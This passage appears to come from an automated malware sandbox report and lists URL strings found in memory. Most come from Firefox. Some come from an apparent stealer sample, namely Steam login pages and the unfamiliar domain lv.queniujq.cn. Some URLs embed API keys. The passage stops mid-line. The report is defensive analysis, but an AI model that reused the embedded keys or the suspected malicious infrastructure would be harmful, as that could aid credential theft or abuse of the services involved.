Source: firefox.exe, 0000001D.00000002.2130386877.000001C9634DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsSELEC
Source: firefox.exe, 0000001D.00000002.2130386877.000001C9634DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000001D.00000002.2138617954.000001C96401F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2146450702.000001C965721000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 0000001D.00000002.2138617954.000001C96401F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2267577999.000001C96ACB5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2146450702.000001C965782000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2227705741.000001C968E1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2264780674.000001C96AB78000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C96347B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000001D.00000002.2130386877.000001C9634DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2146450702.000001C965782000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2264780674.000001C96AB78000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2138617954.000001C96404F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 0000001D.00000002.2130386877.000001C9634DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2146450702.000001C965782000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2264780674.000001C96AB78000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C96347B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2138617954.000001C96404F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 0000001D.00000002.2130386877.000001C9634DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2236916533.000001C96944B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2146450702.000001C965782000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C963424000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2227705741.000001C968E1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2264780674.000001C96AB78000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C963403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 0000001D.00000002.2138617954.000001C96401F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2146450702.000001C965782000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 0000001D.00000002.2138617954.000001C96401F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2146450702.000001C965782000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C96347B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 0000001D.00000002.2286214238.000001C96F2B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtabL
Source: firefox.exe, 0000001D.00000002.2130386877.000001C9634DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2146450702.000001C965782000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 0000001D.00000002.2286214238.000001C96F2B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtabC
Source: firefox.exe, 0000001D.00000002.2138617954.000001C96401F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2146450702.000001C965782000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C96347B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 0000001D.00000002.2286214238.000001C96F2B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtabA
Source: firefox.exe, 0000001D.00000002.2138617954.000001C96401F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2146450702.000001C965782000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C96347B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 0000001D.00000002.2286214238.000001C96F2B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtabE
Source: firefox.exe, 0000001D.00000002.2138617954.000001C96401F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2146450702.000001C965782000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C96347B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 0000001D.00000002.2286214238.000001C96F2B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtabG
Source: firefox.exe, 0000001D.00000002.2130386877.000001C9634DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2146450702.000001C965782000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 0000001D.00000002.2286214238.000001C96F2B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab?
Source: firefox.exe, 0000001D.00000002.2130386877.000001C9634DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2146450702.000001C965782000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 0000001D.00000002.2286214238.000001C96F2B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtabN
Source: firefox.exe, 0000001D.00000002.2130386877.000001C9634DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2146450702.000001C965782000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2227705741.000001C968E1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2138617954.000001C96404F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 0000001D.00000002.2138617954.000001C96401F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2146450702.000001C965782000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C96347B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 0000001D.00000002.2286214238.000001C96F2B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtabI
Source: firefox.exe, 0000001D.00000002.2138617954.000001C96401F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2277444887.000001C96F03C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2146450702.000001C965782000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 0000001D.00000002.2286214238.000001C96F2B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more/
Source: firefox.exe, 0000001D.00000002.2130386877.000001C9634DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more_determineToolbarAndContentTheme/contentTheme
Source: firefox.exe, 0000001D.00000002.2130386877.000001C9634DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_morediscoverystream.personalization.override
Source: firefox.exe, 0000001D.00000002.2130386877.000001C9634DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2146450702.000001C965782000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2227705741.000001C968E1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2138617954.000001C96404F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2303891585.000001C96F76E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/cfworker
Source: firefox.exe, 0000001D.00000003.2090715671.000001C96F110000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2283034134.000001C96F110000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts
Source: firefox.exe, 0000001D.00000003.2090715671.000001C96F110000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2283034134.000001C96F110000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query.ts
Source: firefox.exe, 0000001D.00000003.1984164128.000001C966D00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1985500280.000001C966F60000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1984524321.000001C966F21000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2227705741.000001C968E1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1985118386.000001C966F40000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C96347B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 0000001D.00000002.2277444887.000001C96F0B7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2227705741.000001C968E1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/blob/master/css-grid-2/MASONRY-EXPLAINER.md
Source: firefox.exe, 0000001D.00000002.2277444887.000001C96F0B7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2227705741.000001C968E1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650
Source: firefox.exe, 0000001D.00000002.2277444887.000001C96F0B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gpuweb.github.io/gpuweb/
Source: 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812498716.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: firefox.exe, 0000001D.00000002.2122168164.000001C957211000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C963403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 0000001D.00000002.2130386877.000001C9634DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/
Source: file.exe, 00000000.00000003.1460412273.000000000598E000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2051677031.00000000059A4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2125679679.000001C962AAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2146450702.000001C965782000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2138617954.000001C96404F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: firefox.exe, 0000001D.00000002.2310925330.000001C97163A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2146450702.000001C965782000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2227705741.000001C968E1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2138617954.000001C96404F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 0000001D.00000002.2146450702.000001C9657BE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2227705741.000001C968E5E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2227705741.000001C968E93000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schema
Source: firefox.exe, 0000001D.00000002.2155269647.000001C967194000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2122168164.000001C957203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 0000001D.00000002.2130386877.000001C9634DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2144220840.000001C964800000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 0000001D.00000002.2130386877.000001C9634DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%extensions.formautofill.credit
Source: firefox.exe, 0000001D.00000002.2164638288.000001C9675B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steam
Source: 8138ba21a1.exe, 0000000A.00000003.1812336611.0000000000A9B000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000002.1815153546.0000000000AA2000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812465296.0000000000AA1000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812336611.0000000000A9B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: firefox.exe, 0000001D.00000002.2138617954.000001C96409F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2141978410.000001C964321000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2125679679.000001C962A54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1989649601.000001C964733000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1996647465.000001C964733000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2143043108.000001C964738000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1996003355.000001C96471D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C96347B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 0000001D.00000002.2128083032.000001C96307D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2125679679.000001C962A54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1989649601.000001C964733000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1996647465.000001C964733000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2143043108.000001C964738000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1996003355.000001C96471D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C96347B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 0000001D.00000002.2125679679.000001C962A54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%sv
Source: firefox.exe, 0000001D.00000002.2128083032.000001C96307D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2125679679.000001C962A54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1989649601.000001C964733000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1996647465.000001C964733000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2143043108.000001C964738000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1996003355.000001C96471D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C96347B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 0000001D.00000002.2125679679.000001C962A54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%st
Source: 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000002.1815153546.0000000000AA2000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812465296.0000000000AA1000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812336611.0000000000A9B000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: firefox.exe, 0000001D.00000002.2122168164.000001C9572D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2227705741.000001C968E1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C96347B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 0000001D.00000002.2267577999.000001C96ACB5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mochitest.youtube.com/
Source: firefox.exe, 0000001D.00000002.2126645860.000001C962BDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C963403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 0000001D.00000002.2130386877.000001C9634DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ok.ru/
Source: firefox.exe, 0000001D.00000002.2125679679.000001C962A54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1989649601.000001C964733000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1996647465.000001C964733000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2143043108.000001C964738000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1996003355.000001C96471D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C96347B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 0000001D.00000002.2267577999.000001C96ACB5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://play.hbomax.com/page/
Source: firefox.exe, 0000001D.00000002.2267577999.000001C96ACB5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://play.hbomax.com/player/
Source: 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000002.1815153546.0000000000AA2000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812465296.0000000000AA1000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812336611.0000000000A9B000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: firefox.exe, 0000001D.00000002.2128083032.000001C96307D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2125679679.000001C962A54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1989649601.000001C964733000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1996647465.000001C964733000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2143043108.000001C964738000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1996003355.000001C96471D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C96347B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001D.00000003.1989649601.000001C964733000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1996647465.000001C964733000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2143043108.000001C964738000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1996003355.000001C96471D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s4
Source: firefox.exe, 0000001D.00000002.2125679679.000001C962A54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sx
Source: firefox.exe, 0000001D.00000002.2192132128.000001C9687D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://push.services.mozilla.com/
Source: 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000002.1815153546.0000000000AA2000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812465296.0000000000AA1000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812336611.0000000000A9B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptNaT
Source: 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000002.1815153546.0000000000AA2000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812465296.0000000000AA1000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812336611.0000000000A9B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: firefox.exe, 0000001D.00000002.2130386877.000001C963473000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2264780674.000001C96AB78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redux.js.org/api-reference/store#subscribe(listener)
Source: 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000002.1815153546.0000000000AA2000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812465296.0000000000AA1000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812336611.0000000000A9B000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: firefox.exe, 0000001D.00000002.2267577999.000001C96ACA5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=118.0&pver=2.2&
Source: firefox.exe, 0000001D.00000002.2267577999.000001C96ACA5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=AIzaSyC7jsptDS
Source: firefox.exe, 0000001D.00000002.2267577999.000001C96ACA5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSy
Source: firefox.exe, 0000001D.00000002.2126645860.000001C962BDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C963403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 0000001D.00000003.1985500280.000001C966F60000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1984524321.000001C966F21000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1985862608.000001C966F7F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2227705741.000001C968E1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1985118386.000001C966F40000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C96347B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 0000001D.00000003.2074345700.000001C968996000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://searchfox.org/mozilla-central/source/toolkit/components/search/SearchUtils.jsm#145-152
Source: file.exe, 00000000.00000003.1487828649.00000000011F0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1459054551.0000000005986000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1431328148.00000000011F3000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2067087798.00000000011B4000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2047135073.00000000011B4000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2067414853.00000000011B4000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2021461230.00000000059AD000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2095726575.00000000011B4000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2181105344.0000000001119000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2049269933.00000000011B4000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2041871349.00000000011AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary 